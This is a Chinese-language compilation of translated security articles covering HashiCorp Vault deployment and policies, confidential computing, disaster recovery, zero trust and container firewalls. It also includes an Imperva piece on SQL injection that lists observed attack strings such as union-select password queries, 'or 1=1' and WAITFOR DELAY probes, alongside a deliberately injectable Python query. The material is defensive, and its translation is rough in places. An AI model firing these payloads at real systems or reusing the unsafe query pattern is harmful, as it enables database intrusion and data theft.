- 在Ansible Galaxy,Brian Shumate的领事角色
- 在Puppet Forge中,Vault模块
- 在Chef Supermarket,hashicorp-vault cookbook
建议您限制对Vault服务器的SSH访问,因为系统上的易失性存储器中存储了许多敏感项。
Vault发布周期
HashiCorp按季度发布Vault的主要版本,以及根据需要发布的次要版本,但至少每月发布一次,因此在组织中更新Vault的过程应该相当简化并且高度自动化。
监控
Vault会侦听单个端口(服务和管理)上的请求,如前所述,这是一个HTTP REST端点。默认情况下,这是TCP端口8200,并且有一个不受保护的状态端点,可用于监视群集的状态,如下所示:
curl -sS http://localhost:8200/v1/sys/health | jq { "initialized": true, "sealed": false, "standby": false, "performance_standby": false, "replication_performance_mode": "disabled", "replication_dr_mode": "disabled", "server_time_utc": 1545132958, "version": "1.0.0-beta1", "cluster_name": "vault-cluster-fc75786e", "cluster_id": "bb14f30a-6585-d225-ca12-0b2011de4b23" }
还可以查询节点的单个密封状态,如下所示:
curl -sS http://localhost:8200/v1/sys/seal-status | jq { "type": "shamir", "initialized": true, "sealed": false, "t": 1, "n": 1, "progress": 0, "nonce": "", "version": "1.0.0-beta1", "migration": false, "cluster_name": "vault-cluster-fc75786e", "cluster_id": "bb14f30a-6585-d225-ca12-0b2011de4b23", "recovery_seal": false }
在最佳实践设置中,HashiCorp Consul将监控Vault的状态,并可以通过DNS提供Service Discovery,或自动配置许多流行的开源负载均衡器,如官方参考体系结构指南中所述。 HashiCorp Learn Vault轨道中还提供了详细的分步指南。
遥测
在大规模运行Vault时,建议使用Vault的遥测输出结合遥测分析解决方案(如StatsD,Circonus或Datadog)来分析系统的性能。
审计
从Vault的角度来看,使用SIEM系统是跟踪访问代理的必要条件。 Vault通过Syslog,File或Unix套接字提供输出。大多数组织通过Splunk或使用ELK Stack中的工具来解析和评估此信息。审计输出是JSON数据,使组织能够轻松地解析和分析信息。
备份还原
解决方案的备份是通过Consul Snapshot Agent完成的,Consul Snapshot Agent可以将加密的备份自动上传到S3存储桶,也可以将备份保留在文件系统上,以便传统的企业备份解决方案将其运出。
失败场景
- 如果单个节点发生故障或最多两个节点发生故障,解决方案将继续运行而无需操作员干预。
- 如果Vault群集出现故障,则可以使用相同的Storage Backend配置重新设置它。
- 如果Consul集群失去法定人数,则可以选择重新获得服务可用性,尽管从RTO / RPO角度推荐的方法是故障转移到DR群集或提升性能副本。
- 如果要删除或不可用密封密钥,则唯一支持的方案是故障转移到DR群集或性能副本。
初始化仪式
虽然Vault中的每个操作都可以由API驱动,并且因此自动化,但初始化过程可确保Vault中的加密信任。持有Unseal Keys或最常见的恢复密钥的密钥持有者是Vault信托的监护人。对于任何Vault安装,此过程只会执行一次。
初始化过程完成后,Vault最容易受到攻击,因为存在根令牌。此根令牌会覆盖策略系统,并且仅在初始阶段用于配置生产身份验证方法和基本策略,或者在主身份验证方法不可用的情况下,在这种情况下需要重新生成根令牌。
建议在单个房间进行初始化仪式,在整个过程中将有操作员和保险柜密钥持有人在场,具体如下:
- 操作员启动Vault守护程序和初始化过程,如文档中所述,提供来自密钥持有者的公共GPG密钥,以及操作员拥有根令牌的公共GPG密钥。
- Vault将返回GPG加密恢复密钥,这些密钥应在密钥持有者之间分配。
- 操作员使用根令牌加载初始策略并配置第一个身份验证后端,传统上是Active Directory或LDAP,以及审计后端。
- 操作员验证他们可以使用其目录帐户登录Vault,并可以添加更多策略。
- 运算符撤消根令牌。密钥持有人现在可以离开房间,保证没有人拥有对Vault的完全和未经审计的访问权限。
初始化
尽管应考虑以下参数,但脚注中引用的Vault文档中描述了完整的初始化选项集:
- -root-token-pgp-key:将用于加密根令牌的Operator Public PGP密钥
- -recovery-shares / threshold:要提供的密钥数量(基于密钥持有者的数量),以及执行恢复操作所需的密钥持有者的法定人数(通常是一半的密钥持有者加一个)
- -recovery-pgp-keys:与上面的参数类似,来自密钥持有者的公共PGP密钥列表,以便提供密钥共享的加密输出
基本配置
为了在不需要使用根令牌的情况下继续进行进一步配置,必须配置备用身份验证方法。传统上,这是通过LDAP身份验证后端配置Active Directory / LDAP集成,或最近通过OIDC或Okta支持完成的。
组或声明定义为向Vault提供某些管理属性。
此外,策略定义为Vault中的管理操作(如添加挂载,策略,配置进一步的身份验证,审计等...),加密操作(如启动密钥轮换操作),以及最终消费模式,通常定义在以后根据要求。示例管理策略可以定义如下:
## Operations # List audit backends path "/sys/audit" { capabilities = ["read","list"] } # Create an audit backend. Operators are not allowed to remove them. path "/sys/audit/*" { capabilities = ["create","read","list","sudo"] } # List Authentication Backends path "/sys/auth" { capabilities = ["read","list"] } # CRUD operations on Authentication Backends path "/sys/auth/*" { capabilities = ["read","list","update","sudo"] } # CORS configuration path "/sys/config/cors" { capabilities = ["read", "list", "create", "update", "sudo"] } # Start root token generation path "/sys/generate-root/attempt" { capabilities = ["read", "list", "create", "update", "delete"] } # Configure License path "/sys/license" { capabilities = ["read", "list", "create", "update", "delete"] } # Get Storage Key Status path "/sys/key-status" { capabilities = ["read"] } # Initialize Vault path "/sys/init" { capabilities = ["read", "update", "create"] } #Get Cluster Leader path "/sys/leader" { capabilities = ["read"] } # Manage policies path "/sys/policies*" { capabilities = ["read", "list", "create", "update", "delete"] } # Manage Mounts path "/sys/mounts*" { capabilities = ["read", "list", "create", "update", "delete"] }
Auditor策略的示例可以定义如下:
## Audit # Remove audit devices path "/sys/audit/*" { capabilities = ["delete"] } # Hash values to compare with audit logs path "/sys/audit-hash/*" { capabilities = ["create"] } # Read HMAC configuration for redacting headers path "/sys/config/auditing/request-headers" { capabilities = ["read", "sudo"] } # Configure HMAC for redacting headers path "/sys/config/auditing/request-headers/*" { capabilities = ["read", "list", "create", "update", "sudo"] } # Get Storage Key Status path "/sys/key-status" { capabilities = ["read"] }
An example Key Officer policy could be defined as follows:
## Key Officers path "/sys/generate-root/update" { capabilities = ["create", "update"] } # Get Storage Key Status path "/sys/key-status" { capabilities = ["read"] } # Submit Key for Re-keying purposes path "/sys/rekey-recovery-key/update" { capabilities = ["create", "update"] } # Rotate Storage Key path "/sys/rotate" { capabilities = ["update", "sudo"] } # Verify update path "/sys/rekey-recovery-key/verify" { capabilities = ["create", "update"] }
这些策略并非详尽无遗,虽然定义了三个配置文件,但在大多数组织中,角色隔离的运行范围更深。
值得注意的是,由于某些端点的敏感性,大多数组织选择使用控制组以便为某些配置更改要求批准工作流,例如,在添加或修改策略时,如下例所示:
# Create a Control Group for approvals for CRUD operations on policies path "/sys/policies*" { capabilities = ["create", "update"] control_group = { ttl = "4h" factor "tech leads" { identity { group_names = ["managers", "leads"] approvals = 2 } } factor "CISO" { identity { group_names = ["infosec"] approvals = 1 } } } }
通过这种方式,策略更改将需要来自“管理者”或“潜在客户”组的两个批准者,以及来自“信息安全”组的一个批准者。
根令牌撤销
如前面指南中所述,根令牌只应用于初始化和紧急“中断玻璃”操作。配置Vault后,应撤消根令牌,并应使用常规身份验证方法来引入更改。
运营商和法定数量的密钥持有者可以在紧急情况下重新生成根令牌。
组织角色
在大规模部署Vault的大多数组织中,不需要额外的人员配置或招聘。在部署和运行解决方案方面。 Vault没有预定义的角色和配置文件,因为策略系统允许对不同团队的职责进行非常精细的定义,但一般来说,这些已在大多数组织中定义如下:
- 消费者:需要能够使用机密或需要命名空间保险库功能的个人或团队。
- 运营商:登录消费者的个人或团队,以及秘密引擎功能,策略,命名空间和身份验证方法。
- 加密:管理关键轮换和审计策略的个人或团队。
- 审核:审核和审核使用情况的个人或团队。
原文:https://www.hashicorp.com/resources/adopting-hashicorp-vault#day-one
本文:https://pub.intelligentx.net/adopting-hashicorp-vault-day-one
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 320 次浏览
【数据安全】采用HashiCorp Vault :第二天
第二天
命名空间
Vault Enterprise允许组织对Vault安装进行逻辑分段。
传统上,在Vault作为中心功能运行的组织中,需要维护大量策略的某些团队将获得自己的命名空间。这也可以是分段的,例如,与一组Kubernetes命名空间对齐。
在顶部名称空间处获得的标记可以被分段以遍历多个名称空间。
对于某些运行Vault的专用团队的组织而言,名称空间可能不会增加显着优势,并可能增加复杂性。
命名空间通常以自动方式配置,与团队或项目入职一致,例如在配置新的Kubernetes命名空间或AWS账户时。
安全介绍
在能够使用机密之前,用户或应用程序必须登录Vault,并获得一个短期令牌。用于应用程序的方法通常基于运行应用程序的平台(AWS,GCE,Azure,Kubernetes,OIDC)或用于部署它的工作流程(带有CI工具的AppRole,如Jenkins或Circle CI) 。
令牌必须维护在客户端,并且在到期时可以简单地续订。对于短期工作流,传统的令牌将被创建,其生命周期与平均部署时间相匹配,并且可以使其过期,从而确保每个部署的新令牌。
认证方法通常由操作员在初始配置时配置。
最常见的是,系统会自动执行身份验证过程,但是当多个团队负责配置系统或部署应用程序时,执行流程的责任通常被认为是切换的一部分。
基于现有属性(如LDAP组,OIDC声明,IAM角色,Google Project ID等),角色在不同的身份验证后端中创建,后端映射到策略(最终授予对机密的访问权限)。
每种身份验证方法都会详细记录安全介绍过程,并提供了许多可用的分析文档。
存储和检索秘密
Vault将存储或动态生成可以以编程方式或以交互方式访问的机密。
最常见的采用模式,首先是在Vault中存储传统上分散在文件中的秘密,桌面密码管理工具,版本控制系统和配置管理,并利用下面描述的一些消费模式作为获取秘密的手段。消费它的应用程序。
向前移动大多数组织开始采用秘密引擎作为减少开销的方法,例如使用PKI作为中间CA并自动生成短期证书,或短期数据库凭证。
API
如前所述,Vault提供了一个HTTP Restful API,允许应用程序以编程方式使用机密。有大量的客户端库和语言内抽象,可以实现更简单的编程。
传统上,这是从Vault检索机密的最安全模式,因为它们通常作为变量存储在内存中,并在应用程序不使用它们时进行清理。
此模式具有很强的侵入性,因为它需要修改应用程序以从Vault检索机密(通常在初始化时或使用外部服务)。
非侵入性模式
HashiCorp提供了两个应用程序,通过配置文件或环境变量,使用最常见的秘密消费模式,提供工作流来使用凭证而无需修改应用程序。
这些应用程序要么渲染配置文件模板内插机密,要么使用从Vault获取的值传递环境变量。
响应包装
在第三方软件通常提供凭证的情况下,该系统可以请求包装的响应,其中秘密最终在消耗该秘密的系统中展开,而不需要向配置该应用的自动化系统公开凭证。
加密即服务
Vault提供加密服务,消费者可以通过API调用简单地加密/解密信息,密钥生命周期和管理通常由外部团队管理(通常由自动化协助)。
生成的每个密钥都有单独的API路径用于管理,以及每个服务操作(加密/解密/签名/验证),允许在非常精细的级别设置策略,与组织中现有的角色保持一致。例如,虽然安全部门可能对特定的传输装载具有以下权限:
## Crypto officers # Create key material, non deletable, non exportable in unencrypted fashion, only aes-256 or rsa-4096 path "/transit/keys/*" { capabilities = ["create", "update"] allowed_parameters = { "allow_plaintext_backup" = ["false"] "type" = ["aes256-gcm96", "rsa-4096"] "convergent_encryption" = [] "derived" = [] } } # List keys path "/transit/keys" { capabilities = ["list"] } # Rotate Key path "/transit/keys/*/rotate" { capabilities = ["create"] }
而消费者只能访问该服务:
## Consumers # Encrypt information path "/transit/encrypt/keyname" { capabilities = ["create"] } # Decrypt information path "/transit/decrypt/keyname" { capabilities = ["create"] } # Rewrap information path "/transit/rewrap/keyname" { capabilities = ["create"] }
原文:https://www.hashicorp.com/resources/adopting-hashicorp-vault#day-two
本文:https://pub.intelligentx.net/adopting-hashicorp-vault-day-two
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 121 次浏览
【数据安全】采用HashiCorp Vault :第零天
部署,采用和超越
与每个HashiCorp产品一样,采用Vault时,有一种“爬行,行走,跑步”的方法。因此,本文档旨在根据软件最佳实践和大型组织中大规模部署Vault的经验,就HashiCorp Vault部署和采用的每个阶段所需的步骤提供一些可预测性。本文档不是深入介绍Vault的文档,而是提供旅程的概述,适当时引用文档,并关注操作方面。
本文档的部分内容旨在成为组织Runbook的基础,描述通常在Vault中运行的某些过程。
第零天
Vault内部和密钥加密原理
HashiCorp Vault是一种秘密管理解决方案,通过程序化访问,可以通过系统访问人和机器。可以存储,动态生成秘密,并且在加密的情况下,可以将密钥作为服务使用,而无需公开底层密钥材料。
可以使用下图汇总秘密消费方面的工作流程:
- Vault的主要界面是通过HTTP Restful API。 CLI和Web GUI都通过相同的API与Vault连接。开发人员将使用此API进行编程访问。除了通过此API之外,没有其他方法可以在Vault中公开功能。
- 为了消费秘密,客户(用户或应用程序)需要建立自己的身份。虽然Vault支持用户的通用身份验证平台,例如LDAP或Active Directory,但它还添加了基于平台信任以编程方式建立应用程序身份的不同方法,利用AWS IAM,Google IAM,Azure应用程序组,TLS证书和Kubernetes命名空间等等。在身份验证后,并且基于某些身份属性(如组成员身份或项目名称),Vault将授予与特定策略集对齐的短期令牌。
- Vault中的策略与身份分离,并定义特定身份可以访问的秘密集。它们被定义为HashiCorp配置语言(HCL)中的代码。可以使用Sentinel规则定义丰富的策略,该规则旨在回答实体可以访问秘密的“在什么条件下”,而不是传统的“谁访问”常规ACL中定义的秘密。
- Vault通过Syslog,File或Socket将审计信息发送到SIEM系统或记录后端。如果Vault无法正确提供审核信息,则不会响应。
- 最终,Vault可以动态存储或生成秘密。凭借“安装”发动机:
- 可以使用KV / 2引擎存储和版本化静态机密。
- 可以使用不同的引擎动态生成不同类型的秘密,包括数据库,SSH / AD访问,PKI(X.509证书)等
- 密钥材料可以通过提供加密/解密/签名/验证/ HMAC功能的特定端点来使用,而无需离开Vault。
可以使用下图汇总Vault内部体系结构:
从数据组织的角度来看,Vault具有伪分层API路径,其中可以安装顶级引擎来存储或生成某些机密,提供任意路径(即/ secret / sales / password)或预定义路径动态秘密(例如/ pki / issue / internal)。
没有秘密以未加密的形式离开加密屏障(仅存在于Vault主机上的易失性存储器中)。该屏障由一组键保护。通过HTTP API提供的信息使用TLS加密。存储后端中存储的信息使用存储密钥加密,存储密钥由主密钥加密,主密钥可选地由外部密封加密以便于操作,并自动执行开封过程,如下图所示。 (有关详细信息,请参阅Vault体系结构)相同的密封也可用于加密机密。例如,对于需要以符合FIPS的方式加密的机密,Vault的“Seal Wrap”与HSM一起可用于实现此功能。
Vault HSM工作流程
Vault解决方案架构
HashiCorp Vault使用分布式系统概念和范例设计。因此,在部署方面有很多可能性,但只有少数可能由HashiCorp进行全面测试和支持。在单站点或多站点弹性和扩展要求方面,有不同的策略。出于本文档和任何架构决策的目的,您应将站点视为往返时间不超过8毫秒的地理区域。
单一网站
对于单个站点,Vault的生产部署是一个集群单元,通常由三个节点组成。在其开源变体中,一个节点自动被指定为“活动”,而其余两个节点处于“待机”模式(不主动提供服务)。当使用HashiCorp Consul时,这些“待机”节点将在“主动节点”(在这种情况下立即进行故障转移)有序关闭时自动执行“活动”角色,或者故障(在不干净的关闭下故障转移需要45秒) ,推荐的存储后端。使用Vault Enterprise Premium时,可以将备用节点设置为“性能备用”,这样可以通过直接回答某些查询来使它们水平扩展群集,同时透明地将其他节点转发到主动节点。簇。如前所述,Active和Standby节点之间的延迟存在严格限制。
Vault可以使用许多不同的存储后端。但是,HashiCorp仅使用Consul作为真正可扩展的生产级解决方案,为Vault集群提供支持。通常,Consul后端部署为5节点群集,以支持3节点Vault群集。
HashiCorp Consul必须始终保持法定人数以提供服务(N + 1个节点/投票),并且法定人数损失不是可接受的操作方案;因此,产品中有许多策略和自动驾驶仪功能可确保服务连续性和扩展,例如非投票成员,冗余区域和更新迁移。
最常见的单站点Vault部署如下所示:
上图中的Consul集群图标由下图中所示的组件组成(在这种情况下,Consul客户端将是Vault服务器):
该架构旨在满足以下原则:
- 每个服务最多两个节点可能会失败而不会导致中断,但如果使用“性能备用”可能会导致性能下降,直到重新配置其他服务器。
- 系统分布在奇数个网络区域或可用区域,以适应最多整个区域的故障。
- 每个区域都有一个数据源(存储后端)和一个加密密封。
多个站点
HashiCorp Vault提供两种复制模式,其中主群集将有选择地将日志发送到辅助群集。
从弹性角度来看,最低要求是配置灾难恢复(DR)副本,它是一个热备份并拥有所有内容的完整副本。 DR副本在升级之前无法应答请求。从运营角度来看,DR副本将在以下情况下提供服务连续性:
- 数据篡改:意外或故意操纵存储后端,存储后端保存二进制加密数据。通过备份/恢复技术可以在一定程度上缓解这一方面,对DR副本不受RMP副本影响的RPO和RTO产生相当大的影响。
- 密封篡改:密钥是加密保证的组成部分,不可恢复。如果要删除或篡改加密密钥,则Vault将无法恢复。 DR副本具有单独的密封,应该对其进行隔离。
- 基础架构故障:如果主集群从网络或计算角度变得不可用,则可以升级DR副本以提供服务连续性而不会产生任何影响。
更常见的是,存在于多个地理位置的组织将创建一组性能副本,在地理上传播。虽然此设置可以在位置内提供秘密和配置的复制,但最重要的是它可以跨位置统一单个密钥环(主密钥和存储密钥),这对于在大规模使用Vault时减少操作开销至关重要。
在“性能复制”模式下,所选路径将复制到不同的群集,并且在辅助群集中执行尽可能多的操作以最大程度地减少延迟。两种复制模式可以组合在一起,这将允许广泛的操作效率和弹性,如附图所示。
原文:https://www.hashicorp.com/resources/adopting-hashicorp-vault#day-zero
本文:https://pub.intelligentx.net/node/737
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 538 次浏览
【机密计算】关于机密计算的五大须知
在Linux基金会下成立的保密计算联盟可能会彻底改变公司共享数据的方式。Tom Merritt列出了关于机密计算的五件事。
你可以在静态时保护数据——你可以加密它。你可以保护传输中的数据——这有点棘手,但你也可以加密它。你用的时候呢?你需要解密数据才能使用它,对吗?如果邮件是加密的,当你试图查看它时,你很难阅读它。这是一个问题,因为您使用的数据在内存中,可以被转储,然后恶意的人就会得到您未加密的数据。有些人认为您可以保护正在使用的数据。关于机密计算,这里有五件事要知道。
- 机密计算是由机密计算联盟开发的。这个联盟是在Linux基金会下成立的,包括红帽、微软、英特尔、甲骨文、谷歌、阿里巴巴、Arm、VMware、Facebook、腾讯、瑞士通信、AMD等公司的人士。
- 将机密数据隔离在计算机上。特别是可信执行环境(TEE)。数据在内存中加密,TEE使用云提供商无法访问的嵌入式硬件密钥。TEE只允许授权代码访问数据,使其远离操作系统。如果代码被更改,TEE将拒绝访问。
- 机密计算可以使一些云计算应用成为可能。Fortanix的sethknox是该财团的外联主席,他说公司可以合并数据集而不必访问彼此的数据。一个例子是零售商和信用卡公司在不暴露用户数据的情况下检查交易数据是否存在欺诈。
- 机密计算不仅关乎安全。TEE还可以用于其他事情,比如图像处理或用主CPU划分任务。
- 算法可以在TEE中生存。你可以用它们来处理你的数据。你可以在不知道它是什么的情况下访问算法,算法可以在不共享数据的情况下处理数据。
在一个共享数据不仅不受欢迎而且风险很大的世界里,机密计算可以让公司在云端进行协作,而不必将数据或代码暴露给彼此。
原文:https://www.techrepublic.com/article/top-5-things-to-know-about-confidential-computing/
本文:
讨论:请加入知识星球【数据和计算以及智能】或者小号【it_strategy】或者QQ群【1033354921】
- 124 次浏览
【灾难恢复】高可用性不是灾难恢复
视频号
微信公众号
知识星球
可用性和灾难恢复都依赖于一些相同的最佳做法,例如监控故障、部署到多个位置以及自动故障切换。然而,可用性侧重于工作负载的组件,而灾难恢复侧重于整个工作负载的离散副本。灾难恢复具有不同于可用性的目标,即在发生符合灾难条件的大规模事件后测量恢复时间。您应该首先确保工作负载满足可用性目标,因为高可用性架构将使您能够在发生影响可用性的事件时满足客户的需求。您的灾难恢复策略需要不同于可用性的方法,重点是将分散的系统部署到多个位置,以便您可以在必要时对整个工作负载进行故障切换。
您必须在灾难恢复规划中考虑工作负载的可用性,因为这会影响您采取的方法。在一个可用性区域中的单个AmazonEC2实例上运行的工作负载不具有高可用性。如果本地洪泛问题影响该可用区域,则此场景需要故障切换到另一个AZ以满足灾难恢复目标。将此场景与部署在多站点活动/活动的高可用工作负载进行比较,其中工作负载部署在多个活动区域中,所有区域都在为生产流量提供服务。在这种情况下,即使在不太可能发生大规模灾难导致某个区域无法使用的情况下,灾难恢复策略也可以通过将所有流量路由到剩余区域来实现。
在可用性和灾难恢复之间,您处理数据的方式也有所不同。考虑一个连续复制到另一个站点以实现高可用性的存储解决方案(例如多站点、活动/活动工作负载)。如果主存储设备上的一个或多个文件被删除或损坏,则可以将这些破坏性更改复制到辅助存储设备。在这种情况下,尽管具有高可用性,但数据删除或损坏时的故障切换能力将受到影响。相反,作为灾难恢复战略的一部分,还需要时间点备份。
- 37 次浏览
【网络安全】SQL注入攻击:如此陈旧,但仍然如此相关。 这是为什么
我们生活在数据的黄金时代。有些公司将其分析为更好的自己,有些公司为了获利而进行交易,没有一家公司因其价值而自由放弃 - 对于他们的业务和犯罪分子。
SQL(结构化查询语言)是一种非常流行的与数据库通信的方式。虽然许多新数据库使用非SQL语法,但大多数仍然与SQL兼容。这使得SQL成为任何想要访问数据的人的便利工具,无论他们的动机如何。
SQL注入(或SQLi)攻击已经存在了近20年。他们永远不会停止使用Imperva的Web应用程序防火墙(WAF)。所以我们有丰富的数据和经验可供分享。在这篇文章中,我们将分享Imperva保护下数千个网站的最新统计数据和图表,以及攻击示例以及保护网站的方法。
基于SQL的应用程序的常见攻击
SQL Injection是一种用于攻击应用程序的代码注入技术。攻击者可以使用工具,脚本甚至浏览器将SQL语句插入应用程序字段。然后由数据库引擎执行这些语句。此类攻击通常用于:
- 欺骗身份
- 篡改现有数据
- 窃取数据
- 销毁数据
- 更改数据库权限
应用程序背后的数据通常是关键任务,这就是SQL注入攻击被认为非常严重的原因。
来自Imperva WAF的统计数据
Imperva的WAF每天都会在我们保护的网站上减少数百万次SQL注入攻击。我们保护的网站中至少有80%每个月都会受到攻击。我们的数百个网站每天都会面临SQLi攻击。
您可以在下面找到我们监控的攻击中使用的国家,行业和工具的统计数据。
图1:网站行业分布 - 由于BakerHostetler的2018年网络安全报告指出它是数据泄露最严重的行业,因此受攻击程度最高的行业是健康行业,这一点非常有意思,但并不奇怪。
没有图示的是受攻击最多的数据库(按递减顺序):Oracle,PostgreSQL,MySQL和MongoDB。 同时,受攻击最多的平台是WordPress,Drupal,Joomla和Quest。
图2:受攻击网站的国家/地区与攻击来源 - 看到黑客倾向于攻击自己国家/地区内的网站并不奇怪。 当然,这有可能恰恰相反 - 这些结果可能反映了黑客使用在他们攻击的国家/地区拥有端点的VPN /代理,以逃避地理阻塞。
每天大量使用SQLi公共漏洞。 例如:CVE-2017-8917和CVE-2015-7858都是Joomla SQLi公共漏洞,这些漏洞在我们监控的66,000个事件中使用。
图3:顶级漏洞扫描程序 - 由于我们计算事件而非请求,每个扫描程序生成的有效负载数量都没有影响。 尽管SQLi Dumper取得了成功,但Joomla扫描仪并不落后。
我们每月监控数万个攻击性IP,并使用攻击分析来查找恶意IP并防范它们。 我们通过分析过去几个月的攻击IP收集了一些有趣的统计数据:
图4:日复一日尝试SQLi攻击的IP。 蓝色:在当天和当天尝试SQLi攻击的IP的百分比,在当天尝试SQLi攻击的IP中。 橙色:包含由这些攻击IP发送的SQLi尝试的请求的百分比,包含SQLi尝试的总请求数。
令人好奇的是,即使平均每天不到三分之一的IP攻击(蓝线),他们的请求构成了超过80%的SQLi请求(橙色线)。 这可能是由于各种漏洞扫描程序正在进行扫描。 这些工具倾向于轰炸目标以寻找漏洞,这解释了高IP到请求比率。
图5:顶级攻击工具 - 非常通用且广泛使用,因此cURL占据如此重要的位置并不奇怪。 但是,深入分析显示,与cURL一起发送的大多数可疑请求实际上是攻击后检查,即被阻止的黑客,然后使用cURL来测试他们是否仍然可以访问该网站。 cURL紧随其后的是Python - 黑客的首选武器,以及Ruby - 用于编写Metasploit的语言代码。
攻击示例
以下是我们最近一个月跟踪的一些流行攻击:
Vector | Incidents | Description |
1 and 1=2 union select password from qianbo_admin | 634,566 | Trying to query passwords |
1’A=0 | 125,365 | Probing |
N;O=D and 1=1
nessus= or 1=1– CONCAT(‘whs(‘,’)SQLi’) |
76,155 | Probing by vulnerability scanners:
Veracode, Nessus and WhiteHat Security, respectively |
‘ union select unhex(hex(version())) — | 848,096 | Attempting to discover database version |
;WAITFOR DELAY ’00:00:28′; | 1,226,955 | Blind probing — testing for delay in response |
表1:SQL注入攻击的示例
如何保护您的应用程序免受SQL注入
有许多方法可以保护您的应用程序免受SQL注入攻击。有些应该在应用程序开发期间使用,其他应该在部署应用程序后使用。
开发阶段:
使用预准备语句 - 一种“模板化”SQL以使其适应SQL注入的方法。只有某些输入值可以发送到数据库,因此无法运行模板化语句以外的语句。稍后使用不同协议传输的值不像语句模板那样编译。因此不能发生SQL注入。
这里有两个Python代码示例,包含和不包含预准备语句。该代码基于MySQL连接器驱动程序(https://dev.mysql.com/doc/connector-python/en/):
def add_employee(id: int, email: str):
sql = “””INSERT INTO employees (id, email)
VALUES (%s, %s)”””
cursor = connection.cursor(prepared=True)
cursor.execute(sql, (id, email))
cnx.commit()
cursor.close()
句的Python代码示例。这些值将发送到与SQL文本分开的“执行方法”。
def add_employee(id: int, email: str):
sql = f”””INSERT INTO employees (id, email)
VALUES ({id}, {email})”””
cursor = connection.cursor()
cursor.execute(sql)
上面是没有预准备语句的Python代码示例。电子邮件可能包含可由数据库引擎执行的SQL注入语句。
除了预处理语句之外,还有其他方法可以在开发和部署应用程序期间阻止SQL注入:
- 消毒 - 摆脱任何可能是恶意的特殊字符,单词或短语。例如,删除保留字SELECT或CONTACT,或删除短语WAIT FOR DELAY或DROP TABLE。这不是最佳实践,但在某些情况下它可能很有用。
- 转义 - 转义在SQL中具有特殊含义的字符。例如,用两个单引号替换双引号。这是一种简单但易于出错的方式。
- 转义和模式检查 - 可以验证数字和布尔参数数据类型,而字符串参数可以限制为模式。
- 数据库权限限制 - 将应用程序用户的权限限制为仅需要的权限,因为它可能有助于降低攻击的有效性。
后开发 - 应用程序安全性:
- 漏洞扫描程序 - 这些可以检测应用程序中的SQL注入漏洞,以后可以由开发团队修复。请记住,应用程序会不断变化 - 因此您应定期运行扫描程序。
- Web应用程序防火墙 - WAF还可以检测和阻止对您的应用程序的攻击。
总结
保护产品免受SQL注入是必不可少的,以确保其正常运行并防止数据泄露。
当您编写访问数据库的代码时,考虑从一开始就防止SQL注入是一种很好的做法。这是防止这些漏洞发生的最佳时机,而不是以后修补它们。开发过程应包括针对SQL注入的测试,然后是外部扫描程序。
最后,WAF是您产品保护的重要补充。它可以保护您免受错过的漏洞,同时让您有时间尽可能地修补它们。
原文:https://www.imperva.com/blog/sql-injection-attacks-so-old-but-still-so-relevant-heres-why-charts/
本文:http://pub.intelligentx.net/sql-injection-attacks-so-old-still-so-relevant-heres-why-charts
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 37 次浏览
【零信任】如何开始应用谷歌的“零信任”模式
关于谷歌采用“零信任”网络架构来保障安全性的问题越来越多,虽然它并不新鲜,但它现在正在获得思想共享,即使更多组织认为仅靠外围防御无法保护其数字资产。
作为一种理念,Zero Trust简单地要求内部网络在与互联网相同的级别上受到信任 - 换句话说,根本不是。采用这种理念将安全责任的轨迹从外围推向应用。这将焦点转移到应用程序及其数据以及如何访问它们,而不是建立更大的城墙来保护内部网络。
谷歌已经覆盖了很多实施第一个企业级零信托网络的基础,并在BeyondCorp的保护下分享了它的学习,供其他人采用。参考体系结构显示了任何Zero Trust实现必须提供的核心功能,包括身份提供者,访问代理和访问策略提供者,以及综合资产数据库。
完美的起点是团队会议,所有利益相关者都同意他们的零信托的定义,然后根据政策定义目标。然后,制定路线图以实现这些目标。这并不意味着丢弃目前部署的保护周边的技术。相反,它引发了方法的组织变革,以及我们如何考虑保护核心资产。
技术决策是最后的,这是有道理的。你不能出去“购买”Zero Trust。这是跨界关注的组合,使其发挥作用 - 这就是为什么它不容易。高层领导的真正承诺和理解将是关键。值得注意的是,谷歌通往零信任的道路是从2013年开始的为期四年的旅程。因此,这不是一夜之间发生的项目。
关键是要了解谁想要访问的上下文,请求来自哪个设备,然后将其映射到每个应用程序的访问策略。这相当于仅授予访问权限的白名单方法。
要完全实现与Zero Trust一致的应用程序,必须对应用程序的每次访问进行身份验证,授权和加密。每项服务必须确保每次通话都进行了这些检查。这超出了作为身份验证和授权的简单API密钥;它需要真正了解服务请求者与访问策略相结合的上下文。
这是一个很高的订单,促使有足够的初创公司承诺完全实现零信任网络解决方案 - 但这是不可能的。重要的是要记住Zero Trust不仅仅是一个建筑指南;这是一个思考过程和方法,促使企业重新思考如何创建组织的网络安全态势。实际上,使Zero Trust成功的艰难之处在于创建和维护数据策略,以及授权访问读取和写入数据的应用程序,这是一项枯燥乏味的工作。保持对政策和访问控制的更新并证明合规性对于零信任方法的长期有用性至关重要。
没有灵丹妙药,每个安全团队都有独特的挑战。对于许多组织而言,定义数据访问策略需要相当长的时间并且是一项复杂的挑对于其他人来说,它是识别访问关键数据的所有应用程序,或者实现和管理统一授权和访问控制系统。由于他们非常了解业务的驱动因素和核心资产,因此内部团队将面临沉重的负担。
简而言之,SecOps是否会使用Zero Trust网络?不,因为它无法解决技术娴熟的安全分析师的巨大缺失。但它确实重新定义了受监控,分类和响应的内容 - 而现在,这是领先一步。
原文:https://thenewstack.io/how-to-start-applying-googles-zero-trust-model/
本文:https://pub.intelligentx.net/how-start-applying-googles-zero-trust-model
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 77 次浏览
端点安全
- 85 次浏览
【应用安全】Web应用程序防火墙与容器防火墙
容器防火墙与Web应用程序防火墙有何不同?
应用程序容器提供了一种有效的方法来部署和管理应用程序,包括面向web的应用程序。但是随着容器化,保护应用程序变得更加具有挑战性。我经常被问到web应用程序防火墙与容器防火墙的比较。我还被问到下一代防火墙(NGFW)与容器防火墙的比较,您可以在这里阅读这个比较。
简要介绍一下web应用程序防火墙是一种特殊的功能设备或软件,旨在保护对面向web的应用程序的外部访问,而与此相反,容器防火墙保护容器之间的所有内部东西通信,同时还包括WAF的一些保护。容器防火墙还包含许多其他特性,如上一节讨论的持续容器安全性。
在现代快速部署过程中保护应用程序需要将安全性构建到从构建、发布到运行的整个周期中。在容器部署到生产环境之前,应该使用代码扫描和镜像漏洞扫描工具。在生产环境中,传统安全工具的组合应该与云本地容器安全工具一起部署。
